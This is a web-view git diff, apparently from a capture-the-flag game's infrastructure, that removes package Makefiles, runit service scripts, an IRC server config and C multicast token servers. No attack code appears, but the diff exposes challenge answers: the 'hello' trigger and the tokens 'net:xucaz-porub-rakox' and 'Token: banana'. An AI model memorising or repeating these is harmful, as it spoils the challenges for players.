INFERNO_BUILDDIR = $(BUILD)/inferno
|
||||
|
||||
inferno-source:
|
||||
|
||||
inferno-build:
|
||||
|
||||
inferno-install: eris
|
||||
mkdir -p $(INFERNO_PKGDIR)/bin
|
||||
|
||||
cp $(ERIS_BIN) $(INFERNO_PKGDIR)/bin/
|
||||
|
||||
$(call COPYTREE, packages/inferno/service, $(INFERNO_PKGDIR)/service)
|
||||
|
||||
inferno-clean:
|
||||
rm -rf $(INFERNO_PKGDIR) $(INFERNO_BUILDDIR)
|
||||
|
||||
PACKAGES += inferno
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
exec svlogd -tt $PWD
|
|
@ -1,7 +0,0 @@
|
|||
#! /bin/sh -e
|
||||
|
||||
exec 2>&1
|
||||
|
||||
cd $PACKAGES/www
|
||||
exec tcpsvd -l localhost 0 80 $CTF_BASE/packages/inferno/bin/eris -d.
|
||||
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
exec svlogd -tt $PWD
|
|
@ -1,12 +0,0 @@
|
|||
#! /bin/sh -e
|
||||
|
||||
exec 2>&1
|
||||
|
||||
mkdir -p /mnt/inferno
|
||||
fgrep -q /mnt/inferno /proc/mounts || mount -o ro LABEL=inferno /mnt/inferno
|
||||
test -e /var/www || ln -s /mnt/inferno /var/www
|
||||
|
||||
ip addr add 10.0.0.2/24 dev eth0
|
||||
ip link set dev eth0 up
|
||||
|
||||
exec inotifyd true $PWD
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
exec svlogd -tt $PWD
|
Binary file not shown.
|
@ -1,4 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
exec 2>&1
|
||||
exec dropbear -r ./rsa.key -E -F
|
|
@ -1,38 +0,0 @@
|
|||
IRCD_PKGDIR = $(TARGET)/ircd
|
||||
IRCD_BUILDDIR = $(BUILD)/ircd
|
||||
IRCD_VERSION = 19.1
|
||||
IRCD_TAR = $(CACHE)/ngircd-$(IRCD_VERSION).tar.gz
|
||||
IRCD_URL = ftp://ftp.berlios.de/pub/ngircd/ngircd-$(IRCD_VERSION).tar.gz
|
||||
IRCD_SRCDIR = $(IRCD_BUILDDIR)/ngircd-$(IRCD_VERSION)
|
||||
|
||||
# Prevents automake from mangling cross-compiled binary names
|
||||
IRCD_CC_HOST := $(shell $(CC) -v 2>&1 | awk '/Target:/{print $$2}')
|
||||
|
||||
ircd-install: ircd-build
|
||||
|
||||
$(IRCD_TAR):
|
||||
@ mkdir -p $(@D)
|
||||
wget -O $@ $(IRCD_URL)
|
||||
|
||||
ircd-source: $(IRCD_BUILDDIR)/source
|
||||
$(IRCD_BUILDDIR)/source: $(IRCD_TAR)
|
||||
mkdir -p $(IRCD_BUILDDIR)
|
||||
zcat $(IRCD_TAR) | (cd $(IRCD_BUILDDIR) && tar xf -)
|
||||
touch $@
|
||||
|
||||
ircd-build: $(IRCD_BUILDDIR)/built
|
||||
$(IRCD_BUILDDIR)/built: $(IRCD_BUILDDIR)/source
|
||||
cd $(IRCD_SRCDIR) && ./configure $(CONFIG_XCOMPILE_FLAGS) --enable-ipv6
|
||||
$(MAKE) -C $(IRCD_SRCDIR)
|
||||
touch $@
|
||||
|
||||
ircd-install: ircd-build
|
||||
mkdir -p $(IRCD_PKGDIR)/bin
|
||||
cp $(IRCD_SRCDIR)/src/ngircd/ngircd $(IRCD_PKGDIR)/bin
|
||||
|
||||
$(call COPYTREE, packages/ircd/service, $(IRCD_PKGDIR)/service)
|
||||
|
||||
ircd-clean:
|
||||
rm -rf $(IRCD_BUILDDIR)
|
||||
|
||||
PACKAGES += ircd
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
dbip -d
|
|
@ -1 +0,0 @@
|
|||
6
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
exec svlogd -tt $PWD
|
|
@ -1,34 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
exec 2>&1
|
||||
|
||||
IP=$(dbip -a)
|
||||
|
||||
adduser -S -H -u 65534 nobody
|
||||
adduser -S -H irc
|
||||
|
||||
operpass=$(dd if=/dev/urandom count=1 | md5sum | cut -d' ' -f1)
|
||||
|
||||
cat <<EOD >ngircd.conf
|
||||
[Global]
|
||||
Name = irc.ctf
|
||||
Info = CTF IRC
|
||||
AdminInfo1 = CTF IRC Server
|
||||
AdminInfo2 = The table at the front of the room
|
||||
AdminEmail = zephyr@dirtbags.net
|
||||
MotdPhrase = "welcome datacomp"
|
||||
Listen = ${IP%/*}
|
||||
ServerUID = 101
|
||||
ServerGID = 65534
|
||||
|
||||
[Options]
|
||||
OperCanUseMode = yes
|
||||
DNS = no
|
||||
Ident = no
|
||||
|
||||
[Operator]
|
||||
Name = oper
|
||||
Password = $operpass
|
||||
EOD
|
||||
|
||||
exec setuidgid irc $CTF_BASE/packages/ircd/bin/ngircd --config ./ngircd.conf --nodaemon
|
|
@ -1,28 +0,0 @@
|
|||
LIBCAP_PKGDIR = $(TARGET)/libcap
|
||||
LIBCAP_BUILDDIR = $(BUILD)/libcap
|
||||
LIBCAP_VERSION = 2.22
|
||||
LIBCAP_TAR = $(CACHE)/libcap-$(LIBCAP_VERSION).tar.gz
|
||||
# XXX: kernel.org was down when I wrote this, but is the canonical source
|
||||
LIBCAP_URL = http://ftp.debian.org/debian/pool/main/libc/libcap2/libcap2_$(LIBCAP_VERSION).orig.tar.gz
|
||||
LIBCAP_SRCDIR = $(LIBCAP_BUILDDIR)/libcap-$(LIBCAP_VERSION)
|
||||
|
||||
LIBCAP_LDFLAGS = -L$(CURDIR)/$(LIBCAP_SRCDIR)/libcap
|
||||
LIBCAP_CFLAGS = -I$(CURDIR)/$(LIBCAP_SRCDIR)/libcap/include
|
||||
|
||||
$(LIBCAP_TAR):
|
||||
mkdir -p $(@D)
|
||||
wget -O $@ $(LIBCAP_URL)
|
||||
|
||||
libcap-source: $(LIBCAP_BUILDDIR)/source
|
||||
$(LIBCAP_BUILDDIR)/source: $(LIBCAP_TAR)
|
||||
mkdir -p $(@D)
|
||||
zcat $< | ( cd $(@D) && tar xf -)
|
||||
touch $@
|
||||
|
||||
|
||||
# This library's build sort of blows.
|
||||
libcap-build: $(LIBCAP_BUILDDIR)/built
|
||||
$(LIBCAP_BUILDDIR)/built: $(LIBCAP_BUILDDIR)/source
|
||||
$(MAKE) -C $(LIBCAP_SRCDIR)/libcap _makenames
|
||||
$(MAKE) -C $(LIBCAP_SRCDIR) CC=$(CC)
|
||||
touch $@
|
|
@ -1,52 +0,0 @@
|
|||
LXC_PKGDIR = $(TARGET)/lxc
|
||||
LXC_BUILDDIR = $(BUILD)/lxc
|
||||
LXC_VERSION = 0.7.5
|
||||
LXC_TAR = $(CACHE)/lxc-$(LXC_VERSION).tar.gz
|
||||
LXC_URL = http://lxc.sourceforge.net/download/lxc/lxc-$(LXC_VERSION).tar.gz
|
||||
LXC_SRCDIR = $(LXC_BUILDDIR)/lxc-$(LXC_VERSION)
|
||||
|
||||
LXC_COMMANDS = attach cgroup checkpoint console execute freeze
|
||||
LXC_COMMANDS += info init kill monitor restart start stop
|
||||
LXC_COMMANDS += unfreeze unshare wait
|
||||
|
||||
LXC_PROGRAMS = $(addprefix $(LXC_SRCDIR)/src/lxc/lxc-, $(LXC_COMMANDS))
|
||||
|
||||
|
||||
# Prevents automake from mangling cross-compiled binary names
|
||||
LXC_CC_HOST := $(shell $(CC) -v 2>&1 | awk '/Target:/{print $$2}')
|
||||
LXC_CONF_OPT := --host=i386-unknown-linux-uclibc --program-transform-name=
|
||||
|
||||
lxc-install: lxc-build
|
||||
|
||||
$(LXC_TAR):
|
||||
@ mkdir -p $(@D)
|
||||
wget -O $@ $(LXC_URL)
|
||||
|
||||
lxc-source: $(LXC_BUILDDIR)/source
|
||||
$(LXC_BUILDDIR)/source: $(LXC_TAR)
|
||||
mkdir -p $(LXC_BUILDDIR)
|
||||
zcat $(LXC_TAR) | (cd $(LXC_BUILDDIR) && tar xf -)
|
||||
cp packages/lxc/utmp.c $(LXC_SRCDIR)/src/lxc/
|
||||
touch $@
|
||||
|
||||
lxc-build: $(LXC_BUILDDIR)/built
|
||||
$(LXC_BUILDDIR)/built: $(LXC_BUILDDIR)/source libcap-build
|
||||
cd $(LXC_SRCDIR) && CFLAGS="$(LIBCAP_CFLAGS)" LDFLAGS="$(LIBCAP_LDFLAGS) -Xlinker -rpath -Xlinker /opt/lxc/lib" ./configure $(CONFIG_XCOMPILE_FLAGS)
|
||||
$(MAKE) -C $(LXC_SRCDIR)
|
||||
touch $@
|
||||
|
||||
lxc-install: lxc-build
|
||||
mkdir -p $(LXC_PKGDIR)/lib
|
||||
cp $(LXC_SRCDIR)/src/lxc/liblxc.so $(LXC_PKGDIR)/lib/liblxc.so.0
|
||||
cp $(LIBCAP_SRCDIR)/libcap/libcap.so.* $(LXC_PKGDIR)/lib
|
||||
|
||||
mkdir -p $(LXC_PKGDIR)/bin
|
||||
cp $(LXC_PROGRAMS) $(LXC_PKGDIR)/bin
|
||||
|
||||
# $(call COPYTREE, packages/lxc/service, $(LXC_PKGDIR)/service)
|
||||
|
||||
lxc-clean:
|
||||
rm -rf $(LXC_BUILDDIR)
|
||||
|
||||
|
||||
LIBCAP_PKGDIR = $(TARGET)/libcap
|
|
@ -1,11 +0,0 @@
|
|||
/* Detecting runlevels from utmp is straight up bullshit, you.
|
||||
|
||||
1. runit doesn't have run levels
|
||||
2. dbtl doesn't write utmp
|
||||
3. even if it did, it doesn't have the glibc functions this code
|
||||
wants
|
||||
*/
|
||||
int lxc_utmp_mainloop_add(struct lxc_epoll_descr *descr,
|
||||
struct lxc_handler *handler) {
|
||||
return 0;
|
||||
}
|
|
@ -1,6 +1,6 @@
|
|||
#! /bin/sh
|
||||
|
||||
shuf -n 2 /usr/share/dict/words | while read word; do
|
||||
grep -v "'" /usr/share/dict/words | shuf -n 2 | while read word; do
|
||||
echo -n "$word "
|
||||
done
|
||||
echo
|
|
@ -1,19 +0,0 @@
|
|||
MULTICASTER_PKGDIR = $(TARGET)/multicaster
|
||||
|
||||
multicaster-install: multicaster-build
|
||||
mkdir -p $(MULTICASTER_PKGDIR)
|
||||
cp packages/multicaster/tokens.txt $(MULTICASTER_PKGDIR)
|
||||
|
||||
$(call COPYTREE, packages/multicaster/service, $(MULTICASTER_PKGDIR)/service)
|
||||
|
||||
mkdir -p $(MULTICASTER_PKGDIR)/bin/
|
||||
$(MAKE) -C packages/multicaster/src install DESTDIR=$(CURDIR)/$(MULTICASTER_PKGDIR)
|
||||
|
||||
multicaster-clean:
|
||||
rm -rf $(MULTICASTER_PKGDIR)
|
||||
$(MAKE) -C packages/multicaster/src clean
|
||||
|
||||
multicaster-build:
|
||||
$(MAKE) -C packages/multicaster/src build
|
||||
|
||||
PACKAGES += multicaster
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
dbip -d
|
|
@ -1 +0,0 @@
|
|||
17
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
exec svlogd -tt $PWD
|
|
@ -1,7 +0,0 @@
|
|||
#! /bin/sh -e
|
||||
|
||||
exec 2>&1
|
||||
|
||||
IP=$(dbip -a)
|
||||
|
||||
exec setuidgid ctf $CTF_BASE/packages/multicaster/bin/multicaster ff15::62c 1580 <$CTF_BASE/packages/multicaster/tokens.txt
|
|
@ -1,11 +0,0 @@
|
|||
CFLAGS = -Wall -Werror
|
||||
TARGETS = multicaster
|
||||
|
||||
all: build
|
||||
build: $(TARGETS)
|
||||
|
||||
install: $(TARGETS)
|
||||
install -m 0755 $(TARGETS) $(DESTDIR)/bin
|
||||
|
||||
clean:
|
||||
rm -f *.o $(TARGETS)
|
|
@ -1,121 +0,0 @@
|
|||
/* multicast_client.c
|
||||
* Adopted from tmouse's client/server example code
|
||||
* found at http://cboard.cprogramming.com/showthread.php?t=67469
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netdb.h>
|
||||
#include <stdio.h> /* for printf() and fprintf() */
|
||||
#include <stdlib.h> /* for atoi() and exit() */
|
||||
#include <string.h> /* for memset() */
|
||||
#include <time.h> /* for timestamps */
|
||||
#include <unistd.h>
|
||||
|
||||
void DieWithError(const char* errorMessage)
|
||||
{
|
||||
fprintf(stderr, "%s\n", errorMessage);
|
||||
exit(10);
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
int sock; /* Socket */
|
||||
char* multicastIP; /* Arg: IP Multicast Address */
|
||||
char* multicastPort; /* Arg: Port */
|
||||
struct addrinfo * multicastAddr = {0}; /* Multicast Address */
|
||||
struct addrinfo * localAddr; /* Local address to bind to */
|
||||
struct addrinfo hints = { 0 }; /* Hints for name lookup */
|
||||
|
||||
if ( argc != 3 )
|
||||
{
|
||||
fprintf(stderr,"Usage: %s <Multicast IP> <Multicast Port>\n", argv[0]);
|
||||
exit(10);
|
||||
}
|
||||
|
||||
multicastIP = argv[1]; /* First arg: Multicast IP address */
|
||||
multicastPort = argv[2]; /* Second arg: Multicast port */
|
||||
|
||||
/* Resolve the multicast group address */
|
||||
hints.ai_family = PF_INET6;
|
||||
hints.ai_flags = AI_NUMERICHOST;
|
||||
if ( getaddrinfo(multicastIP, NULL, &hints, &multicastAddr) != 0 ) DieWithError("getaddrinfo() failed");
|
||||
|
||||
/* Get a local address with the same family as our multicast group */
|
||||
hints.ai_family = multicastAddr->ai_family;
|
||||
hints.ai_socktype = SOCK_DGRAM;
|
||||
hints.ai_flags = AI_PASSIVE; /* Return an address we can bind to */
|
||||
if ( getaddrinfo(NULL, multicastPort, &hints, &localAddr) != 0 )
|
||||
{
|
||||
DieWithError("getaddrinfo() failed");
|
||||
}
|
||||
|
||||
/* Create socket for receiving datagrams */
|
||||
if ( (sock = socket(localAddr->ai_family, localAddr->ai_socktype, 0)) == -1 )
|
||||
{
|
||||
DieWithError("socket() failed");
|
||||
}
|
||||
|
||||
const int trueValue = 1;
|
||||
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const void *) &trueValue, sizeof(trueValue));
|
||||
#ifdef __APPLE__
|
||||
setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, (const void *) &trueValue, sizeof(trueValue));
|
||||
#endif
|
||||
|
||||
/* Bind to the multicast port */
|
||||
if ( bind(sock, localAddr->ai_addr, localAddr->ai_addrlen) != 0 )
|
||||
{
|
||||
DieWithError("bind() failed");
|
||||
}
|
||||
|
||||
/* Join the multicast group. */
|
||||
if ((multicastAddr->ai_family == PF_INET6)&&(multicastAddr->ai_addrlen == sizeof(struct sockaddr_in6)))
|
||||
{
|
||||
struct sockaddr_in6 *addr = (struct sockaddr_in6 *)(multicastAddr->ai_addr);
|
||||
struct ipv6_mreq multicastRequest; /* Multicast address join structure */
|
||||
|
||||
/* Specify the multicast group */
|
||||
memcpy(&multicastRequest.ipv6mr_multiaddr, &((struct sockaddr_in6*)(multicastAddr->ai_addr))->sin6_addr, sizeof(multicastRequest.ipv6mr_multiaddr));
|
||||
|
||||
printf("scope_id: %d\n", addr->sin6_scope_id);
|
||||
|
||||
/* Accept multicast from any interface */
|
||||
multicastRequest.ipv6mr_interface = addr->sin6_scope_id;
|
||||
|
||||
/* Join the multicast address */
|
||||
if ( setsockopt(sock, IPPROTO_IPV6, IPV6_JOIN_GROUP, (char*) &multicastRequest, sizeof(multicastRequest)) != 0 ) DieWithError("setsockopt(IPV6_JOIN_GROUP) failed");
|
||||
}
|
||||
else DieWithError("Not IPv6");
|
||||
|
||||
freeaddrinfo(localAddr);
|
||||
freeaddrinfo(multicastAddr);
|
||||
|
||||
for (;;) /* Run forever */
|
||||
{
|
||||
char recvString[500]; /* Buffer for received string */
|
||||
int recvStringLen; /* Length of received string */
|
||||
struct sockaddr_in6 from;
|
||||
socklen_t fromlen = sizeof(from);
|
||||
char sendString[] = "Token: banana\n";
|
||||
char errorString[] = "That is not correct! Try again!\n";
|
||||
|
||||
/* Receive a single datagram from the server */
|
||||
if ((recvStringLen = recvfrom(sock, recvString, sizeof(recvString) - 1, 0, (struct sockaddr *)&from, &fromlen)) < 0) DieWithError("recvfrom() failed");
|
||||
recvString[recvStringLen] = '\0';
|
||||
if(strcmp(recvString, "hello")==0) {
|
||||
printf("Correct!!\n");
|
||||
// printf("Token: banana\n");
|
||||
sendto(sock, sendString, sizeof(sendString) - 1, 0, (struct sockaddr *)&from, fromlen);
|
||||
} else {
|
||||
// printf("That isn't correct! Try again!\n");
|
||||
sendto(sock, errorString, sizeof(errorString) - 1, 0, (struct sockaddr *)&from, fromlen);
|
||||
}
|
||||
|
||||
/* Print the received string */
|
||||
printf("Received string [%s]\n", recvString);
|
||||
}
|
||||
|
||||
/* NOT REACHED */
|
||||
close(sock);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
|
@ -1,71 +0,0 @@
|
|||
/* multicast_server.c
|
||||
* Adapted from tmouse's IPv6 client/server example code
|
||||
* found at http://cboard.cprogramming.com/showthread.php?t=67469
|
||||
*/
|
||||
|
||||
#include <stdio.h> /* for fprintf() */
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netdb.h>
|
||||
#include <stdlib.h> /* for atoi() and exit() */
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
static void DieWithError(const char* errorMessage)
|
||||
{
|
||||
fprintf(stderr, "%s\n", errorMessage);
|
||||
exit(10);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int sock; /* Socket */
|
||||
char* multicastIP; /* Arg: IP Multicast address */
|
||||
char* multicastPort; /* Arg: Server port */
|
||||
char* sendString; /* Arg: String to multicast */
|
||||
size_t sendStringLen; /* Length of string to multicast */
|
||||
struct addrinfo * multicastAddr; /* Multicast address */
|
||||
struct addrinfo hints = { 0 }; /* Hints for name lookup */
|
||||
|
||||
if ( argc != 4 )
|
||||
{
|
||||
fprintf(stderr, "Usage: %s <Multicast Address> <Port> <Send String>\n", argv[0]);
|
||||
exit(10);
|
||||
}
|
||||
|
||||
multicastIP = argv[1]; /* First arg: multicast IP address */
|
||||
multicastPort = argv[2]; /* Second arg: multicast port */
|
||||
sendString = argv[3]; /* Third arg: String to multicast */
|
||||
sendStringLen = strlen(sendString); /* Find length of sendString */
|
||||
|
||||
/* Resolve destination address for multicast datagrams */
|
||||
hints.ai_family = PF_INET6;
|
||||
hints.ai_socktype = SOCK_DGRAM;
|
||||
hints.ai_flags = AI_NUMERICHOST;
|
||||
if (getaddrinfo(multicastIP, multicastPort, &hints, &multicastAddr) != 0) DieWithError("getaddrinfo() failed");
|
||||
|
||||
/* Create socket for sending multicast datagrams */
|
||||
if ((sock = socket(multicastAddr->ai_family, multicastAddr->ai_socktype, 0)) == -1) DieWithError("socket() failed");
|
||||
|
||||
int hops = 5;
|
||||
if (setsockopt(sock, IPPROTO_IPV6, IPV6_MULTICAST_HOPS, &hops, sizeof(hops)) != 0) DieWithError("setsockopt(MULTICAST_HOPS) failed");
|
||||
|
||||
for (;;) /* Run forever */
|
||||
{
|
||||
int sendLen = sendto(sock, sendString, sendStringLen, 0, multicastAddr->ai_addr, multicastAddr->ai_addrlen);
|
||||
if (sendLen == sendStringLen )
|
||||
{
|
||||
printf("Sent [%s] (%i bytes) to %s, port %s\n", sendString, sendLen, multicastIP, multicastPort);
|
||||
}
|
||||
else
|
||||
{
|
||||
DieWithError("sendto() sent a different number of bytes than expected");
|
||||
}
|
||||
sleep(1); /* Multicast sendString in datagram to clients every second */
|
||||
}
|
||||
|
||||
/* NOT REACHED */
|
||||
freeaddrinfo(multicastAddr);
|
||||
close(sock);
|
||||
return 0;
|
||||
}
|
|
@ -1,164 +0,0 @@
|
|||
/* multicast_server.c
|
||||
* Adapted from tmouse's IPv6 client/server example code
|
||||
* found at http://cboard.cprogramming.com/showthread.php?t=67469
|
||||
*/
|
||||
|
||||
#include <netdb.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/select.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static void
|
||||
DieWithError(const char* errorMessage)
|
||||
{
|
||||
fprintf(stderr, "%s\n", errorMessage);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
int sender, listener; /* Sockets */
|
||||
char* multicastIP; /* Arg: IP Multicast address */
|
||||
char* multicastPort; /* Arg: Server port */
|
||||
char token[100];
|
||||
struct addrinfo * multicastAddr; /* Multicast address */
|
||||
struct addrinfo hints = { 0 }; /* Hints for name lookup */
|
||||
struct timeval timeout = { 0 };
|
||||
|
||||
if (argc != 3)
|
||||
{
|
||||
fprintf(stderr, "Usage: %s ADDRESS PORT <TOKENFILE\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
multicastIP = argv[1]; /* First arg: multicast IP address */
|
||||
multicastPort = argv[2]; /* Second arg: multicast port */
|
||||
|
||||
if (NULL == fgets(token, sizeof(token), stdin)) {
|
||||
DieWithError("Unable to read token");
|
||||
}
|
||||
|
||||
/* Resolve destination address for multicast datagrams */
|
||||
hints.ai_family = PF_INET6;
|
||||
hints.ai_socktype = SOCK_DGRAM;
|
||||
hints.ai_flags = AI_NUMERICHOST;
|
||||
|
||||
if (getaddrinfo(multicastIP, multicastPort, &hints, &multicastAddr) != 0) {
|
||||
DieWithError("getaddrinfo() failed");
|
||||
}
|
||||
|
||||
if (! ((multicastAddr->ai_family == PF_INET6) &&
|
||||
(multicastAddr->ai_addrlen == sizeof(struct sockaddr_in6)))) {
|
||||
DieWithError("Not IPv6");
|
||||
}
|
||||
|
||||
/* Create socket for sending multicast datagrams */
|
||||
if ((sender = socket(multicastAddr->ai_family, multicastAddr->ai_socktype, 0)) == -1) {
|
||||
DieWithError("socket() failed");
|
||||
}
|
||||
|
||||
/* Create socket for recieving multicast datagrams */
|
||||
if ((listener = socket(multicastAddr->ai_family, multicastAddr->ai_socktype, 0)) == -1) {
|
||||
DieWithError("socket() failed");
|
||||
}
|
||||
|
||||
/* We need to go through a router, set hops to 5 */
|
||||
{
|
||||
int hops = 5;
|
||||
|
||||
if (setsockopt(sender, IPPROTO_IPV6, IPV6_MULTICAST_HOPS, &hops, sizeof(hops)) != 0) {
|
||||
DieWithError("setsockopt(MULTICAST_HOPS) failed");
|
||||
}
|
||||
}
|
||||
|
||||
/* Bind to the multicast port */
|
||||
if (bind(listener, multicastAddr->ai_addr, multicastAddr->ai_addrlen) != 0) {
|
||||
DieWithError("bind() failed");
|
||||
}
|
||||
|
||||
|
||||
/* Join the multicast group. */
|
||||
{
|
||||
struct sockaddr_in6 *addr = (struct sockaddr_in6 *)(multicastAddr->ai_addr);
|
||||
struct ipv6_mreq multicastRequest;
|
||||
|
||||
multicastRequest.ipv6mr_interface = addr->sin6_scope_id;
|
||||
memcpy(&multicastRequest.ipv6mr_multiaddr, &(addr->sin6_addr),
|
||||
sizeof(multicastRequest.ipv6mr_multiaddr));
|
||||
|
||||
if (setsockopt(listener, IPPROTO_IPV6, IPV6_JOIN_GROUP,
|
||||
(char*)&multicastRequest, sizeof(multicastRequest)) != 0) {
|
||||
DieWithError("setsockopt(IPV6_JOIN_GROUP) failed");
|
||||
}
|
||||
}
|
||||
|
||||
for (;;) { /* Run forever */
|
||||
int n;
|
||||
int max_fd;
|
||||
fd_set input;
|
||||
|
||||
char recvString[500]; /* Buffer for received string */
|
||||
int recvStringLen; /* Length of received string */
|
||||
|
||||
char sendString[] = "If anyone is out there, please say hello\n";
|
||||
size_t sendStringLen = sizeof(sendString)-1;
|
||||
char errorString[] = "Say what?\n";
|
||||
|
||||
struct sockaddr_in6 from;
|
||||
socklen_t fromlen = sizeof(from);
|
||||
|
||||
FD_ZERO(&input);
|
||||
FD_SET(listener, &input);
|
||||
|
||||
max_fd = listener + 1;
|
||||
|
||||
if (timeout.tv_usec < 100) {
|
||||
ssize_t sendLen;
|
||||
|
||||
timeout.tv_sec = 1;
|
||||
timeout.tv_usec = 0;
|
||||
|
||||
sendLen = sendto(sender, sendString, sendStringLen, 0, multicastAddr->ai_addr,
|
||||
multicastAddr->ai_addrlen);
|
||||
if (sendLen != sendStringLen) {
|
||||
DieWithError("sendto() sent a different number of bytes than expected");
|
||||
}
|
||||
}
|
||||
|
||||
n = select(max_fd, &input, NULL, NULL, &timeout);
|
||||
|
||||
/* See if there was an error */
|
||||
if (n < 0) {
|
||||
perror("select failed");
|
||||
} else if (FD_ISSET(listener, &input)) {
|
||||
recvStringLen = recvfrom(listener, recvString, sizeof(recvString) - 1, 0,
|
||||
(struct sockaddr *)&from, &fromlen);
|
||||
/* Receive a single datagram from the server */
|
||||
if (recvStringLen < 0) {
|
||||
DieWithError("recvfrom() failed");
|
||||
}
|
||||
|
||||
recvString[recvStringLen] = '\0';
|
||||
if (strcmp(recvString, "hello")==0) {
|
||||
sendto(listener, token, sizeof(sendString), 0, (struct sockaddr *)&from,
|
||||
fromlen);
|
||||
} else if (strcmp(recvString, sendString)!=0) {
|
||||
sendto(listener, errorString, sizeof(errorString), 0,
|
||||
(struct sockaddr *)&from, fromlen);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* NOT REACHED */
|
||||
freeaddrinfo(multicastAddr);
|
||||
close(sender);
|
||||
close(listener);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1 +0,0 @@
|
|||
net:xucaz-porub-rakox
|
|
@ -1,18 +0,0 @@
|
|||
OCTOPUS_PKGDIR = $(TARGET)/octopus
|
||||
|
||||
octopus-install: octopus-build
|
||||
mkdir -p $(OCTOPUS_PKGDIR)/bin/
|
||||
|
||||
$(call COPYTREE, packages/octopus/service, $(OCTOPUS_PKGDIR)/service)
|
||||
|
||||
cp packages/octopus/tokens.txt $(OCTOPUS_PKGDIR)/
|
||||
cp packages/octopus/src/octopus $(OCTOPUS_PKGDIR)/bin/
|
||||
|
||||
octopus-clean:
|
||||
rm -rf $(OCTOPUS_PKGDIR)
|
||||
$(MAKE) -C packages/octopus/src clean
|
||||
|
||||
octopus-build:
|
||||
$(MAKE) -C packages/octopus/src build
|
||||
|
||||
PACKAGES += octopus
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
exec svlogd -tt $PWD
|
|
@ -1,3 +0,0 @@
|
|||
#! /bin/sh
|
||||
|
||||
echo 'Try UDP.'
|
|
@ -1,8 +0,0 @@
|
|||
#! /bin/sh -e
|
||||
|
||||
exec 2>&1
|
||||
|
||||
IP=$(dbip -p ../octopus/ip.txt)
|
||||
|
||||
sv s octopus >/dev/null || exit 1
|
||||
exec tcpsvd ${IP%/*} 8888 ./octopus-redirect
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue